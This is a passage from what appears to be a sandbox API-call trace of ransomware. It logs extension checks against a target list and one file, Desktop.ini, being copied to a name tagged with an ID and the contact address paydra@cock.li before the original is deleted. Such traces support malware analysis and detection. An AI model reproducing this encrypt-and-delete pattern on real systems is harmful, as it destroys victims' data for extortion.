(lpString1=".dbf", lpString2=".gif") returned -1 [0043.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0043.075] lstrlenW (lpString=".1cd") returned 4 [0043.075] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0043.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0043.075] lstrlenW (lpString=".jpg") returned 4 [0043.075] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0043.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0043.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0043.075] lstrlenW (lpString=".doc") returned 4 [0043.075] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0043.075] lstrlenW (lpString=".docx") returned 5 [0043.075] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0043.075] lstrlenW (lpString=".pdf") returned 4 [0043.075] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0043.075] lstrlenW (lpString=".xls") returned 4 [0043.075] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0043.075] lstrlenW (lpString=".xlsx") returned 5 [0043.075] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0043.075] lstrlenW (lpString=".ppt") returned 4 [0043.075] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0043.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0043.075] lstrlenW (lpString=".zip") returned 4 [0043.075] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0043.075] lstrlenW (lpString=".rar") returned 4 [0043.075] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0043.075] lstrlenW (lpString=".bz2") returned 4 [0043.075] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0043.075] lstrlenW (lpString=".7z") returned 3 [0043.075] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0043.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0043.076] lstrlenW (lpString=".dbf") returned 4 [0043.076] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0043.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0043.076] lstrlenW (lpString=".1cd") returned 4 [0043.076] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0043.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0043.076] lstrlenW (lpString=".jpg") returned 4 [0043.076] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0043.076] lstrcmpiW (lpString1=".gif", lpString2=".html") returned -1 [0043.076] lstrlenW (lpString="Connectivity.gif") returned 16 [0043.076] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0043.076] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=2319) returned 1 [0043.076] CloseHandle (hObject=0x1e0) returned 1 [0043.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0043.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0043.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0043.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0043.077] lstrlenW (lpString=".doc") returned 4 [0043.077] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0043.077] lstrlenW (lpString=".docx") returned 5 [0043.077] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0043.077] lstrlenW (lpString=".pdf") returned 4 [0043.077] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0043.077] lstrlenW (lpString=".xls") returned 4 [0043.077] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0043.077] lstrlenW (lpString=".xlsx") returned 5 [0043.077] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0043.077] lstrlenW (lpString=".ppt") returned 4 [0043.077] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0043.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0043.077] lstrlenW (lpString=".zip") returned 4 [0043.077] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0043.077] lstrlenW (lpString=".rar") returned 4 [0043.077] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0043.077] lstrlenW (lpString=".bz2") returned 4 [0043.077] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0043.077] lstrlenW (lpString=".7z") returned 3 [0043.077] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0043.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0043.077] lstrlenW (lpString=".dbf") returned 4 [0043.077] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0043.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0043.077] lstrlenW (lpString=".1cd") returned 4 [0043.077] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0043.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0043.078] lstrlenW (lpString=".jpg") returned 4 [0043.078] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0043.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0043.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0043.078] lstrlenW (lpString=".doc") returned 4 [0043.078] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0043.078] lstrlenW (lpString=".docx") returned 5 [0043.078] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0043.078] lstrlenW (lpString=".pdf") returned 4 [0043.078] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0043.078] lstrlenW (lpString=".xls") returned 4 [0043.078] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0043.078] lstrlenW (lpString=".xlsx") returned 5 [0043.078] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0043.078] lstrlenW (lpString=".ppt") returned 4 [0043.078] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0043.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0043.078] lstrlenW (lpString=".zip") returned 4 [0043.078] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0043.078] lstrlenW (lpString=".rar") returned 4 [0043.078] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0043.078] lstrlenW (lpString=".bz2") returned 4 [0043.078] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0043.078] lstrlenW (lpString=".7z") returned 3 [0043.078] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0043.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0043.078] lstrlenW (lpString=".dbf") returned 4 [0043.078] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0043.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0043.078] lstrlenW (lpString=".1cd") returned 4 [0043.078] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0043.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0043.078] lstrlenW (lpString=".jpg") returned 4 [0043.078] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0043.079] lstrcmpiW (lpString1=".ini", lpString2=".html") returned 1 [0043.079] lstrlenW (lpString="Desktop.ini") returned 11 [0043.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0043.079] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=645) returned 1 [0043.079] CloseHandle (hObject=0x1e0) returned 1 [0043.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0043.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0043.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0043.079] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.079] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0043.080] GetLastError () returned 0x0 [0043.080] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x285, lpOverlapped=0x0) returned 1 [0043.081] WriteFile (in: hFile=0x180, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x290, lpOverlapped=0x0) returned 1 [0043.082] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0043.082] WriteFile (in: hFile=0x180, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.082] SetEndOfFile (hFile=0x180) returned 1 [0043.082] CloseHandle (hObject=0x180) returned 1 [0043.082] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.082] SetEndOfFile (hFile=0x1e0) returned 1 [0043.083] CloseHandle (hObject=0x1e0) returned 1 [0043.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x26) returned 1 [0043.083] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0043.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0043.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0043.083] lstrlenW (lpString=".doc") returned 4 [0043.083] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0043.083] lstrlenW (lpString=".docx") returned 5 [0043.083] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0043.083] lstrlenW (lpString=".pdf") returned 4 [0043.083] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0043.083] lstrlenW (lpString=".xls") returned 4 [0043.083] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0043.083] lstrlenW (lpString=".xlsx") returned 5 [0043.083] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0043.083] lstrlenW (lpString=".ppt") returned 4 [0043.084] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0043.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0043.084] lstrlenW (lpString=".zip") returned 4 [0043.084] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0043.084] lstrlenW (lpString=".rar") returned 4 [0043.084] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0043.084] lstrlenW (lpString=".bz2") returned 4 [0043.084] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0043.084] lstrlenW (lpString=".7z") returned 3 [0043.084] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0043.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0043.084] lstrlenW (lpString=".dbf") returned 4 [0043.084] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0043.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0043.084] lstrlenW (lpString=".1cd") returned 4 [0043.084] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0043.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0043.084] lstrlenW (lpString=".jpg") returned 4 [0043.084] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0043.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0043.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0043.084] lstrlenW (lpString=".doc") returned 4 [0043.084] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0043.084] lstrlenW (lpString=".docx") returned 5 [0043.084] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0043.084] lstrlenW (lpString=".pdf") returned 4 [0043.084] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0043.084] lstrlenW (lpString=".xls") returned 4 [0043.084] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0043.085] lstrlenW (lpString=".xlsx") returned 5 [0043.085] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0043.085] lstrlenW (lpString=".ppt") returned 4 [0043.085] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0043.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0043.085] lstrlenW (lpString=".zip") returned 4 [0043.085] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0043.085] lstrlenW (lpString=".rar") returned 4 [0043.085] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0043.085] lstrlenW (lpString=".bz2") returned 4 [0043.085] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0043.085] lstrlenW (lpString=".7z") returned 3 [0043.085] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0043.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0043.085] lstrlenW (lpString=".dbf") returned 4 [0043.085] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0043.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0043.085] lstrlenW (lpString=".1cd") returned 4 [0043.085] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0043.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0043.085] lstrlenW (lpString=".jpg") returned 4 [0043.085] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0043.085] lstrcmpiW (lpString1=".emf", lpString2=".html") returned -1 [0043.085] lstrlenW (lpString="Dotted_Lines.emf") returned 16 [0043.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0043.086] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=3792) returned 1 [0043.086] CloseHandle (hObject=0x1e0) returned 1 [0043.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0043.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0043.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0043.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0043.086] lstrlenW (lpString=".doc") returned 4 [0043.086] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0043.086] lstrlenW (lpString=".docx") returned 5 [0043.086] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0043.086] lstrlenW (lpString=".pdf") returned 4 [0043.086] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0043.086] lstrlenW (lpString=".xls") returned 4 [0043.086] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0043.086] lstrlenW (lpString=".xlsx") returned 5 [0043.086] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0043.086] lstrlenW (lpString=".ppt") returned 4 [0043.086] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0043.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0043.086] lstrlenW (lpString=".zip") returned 4 [0043.086] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0043.086] lstrlenW (lpString=".rar") returned 4 [0043.086] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0043.087] lstrlenW (lpString=".bz2") returned 4 [0043.087] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0043.087] lstrlenW (lpString=".7z") returned 3 [0043.087] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0043.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0043.087] lstrlenW (lpString=".dbf") returned 4 [0043.087] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0043.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0043.087] lstrlenW (lpString=".1cd") returned 4 [0043.087] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0043.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0043.087] lstrlenW (lpString=".jpg") returned 4 [0043.087] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0043.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0043.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0043.087] lstrlenW (lpString=".doc") returned 4 [0043.087] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0043.087] lstrlenW (lpString=".docx") returned 5 [0043.087] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0043.087] lstrlenW (lpString=".pdf") returned 4 [0043.087] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0043.087] lstrlenW (lpString=".xls") returned 4 [0043.087] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0043.087] lstrlenW (lpString=".xlsx") returned 5 [0043.087] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0043.087] lstrlenW (lpString=".ppt") returned 4 [0043.087] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0043.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0043.087] lstrlenW (lpString=".zip") returned 4 [0043.087] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0043.087] lstrlenW (lpString=".rar") returned 4 [0043.088] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0043.088] lstrlenW (lpString=".bz2") returned 4 [0043.088] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0043.088] lstrlenW (lpString=".7z") returned 3 [0043.088] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0043.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0043.088] lstrlenW (lpString=".dbf") returned 4 [0043.088] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0043.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0043.088] lstrlenW (lpString=".1cd") returned 4 [0043.088] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0043.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0043.088] lstrlenW (lpString=".jpg") returned 4 [0043.088] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0043.088] lstrcmpiW (lpString1=".htm", lpString2=".html") returned -1 [0043.088] lstrlenW (lpString="Garden.htm") returned 10 [0043.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0043.088] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=231) returned 1 [0043.088] CloseHandle (hObject=0x1e0) returned 1 [0043.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0043.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0043.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0043.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0043.089] lstrlenW (lpString=".doc") returned 4 [0043.089] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0043.089] lstrlenW (lpString=".docx") returned 5 [0043.089] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0043.089] lstrlenW (lpString=".pdf") returned 4 [0043.089] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0043.089] lstrlenW (lpString=".xls") returned 4 [0043.089] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0043.089] lstrlenW (lpString=".xlsx") returned 5 [0043.089] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0043.089] lstrlenW (lpString=".ppt") returned 4 [0043.089] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0043.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0043.089] lstrlenW (lpString=".zip") returned 4 [0043.089] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0043.089] lstrlenW (lpString=".rar") returned 4 [0043.089] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0043.089] lstrlenW (lpString=".bz2") returned 4 [0043.089] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0043.089] lstrlenW (lpString=".7z") returned 3 [0043.089] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0043.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0043.089] lstrlenW (lpString=".dbf") returned 4 [0043.090] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0043.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0043.090] lstrlenW (lpString=".1cd") returned 4 [0043.090] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0043.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0043.090] lstrlenW (lpString=".jpg") returned 4 [0043.090] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0043.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0043.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0043.090] lstrlenW (lpString=".doc") returned 4 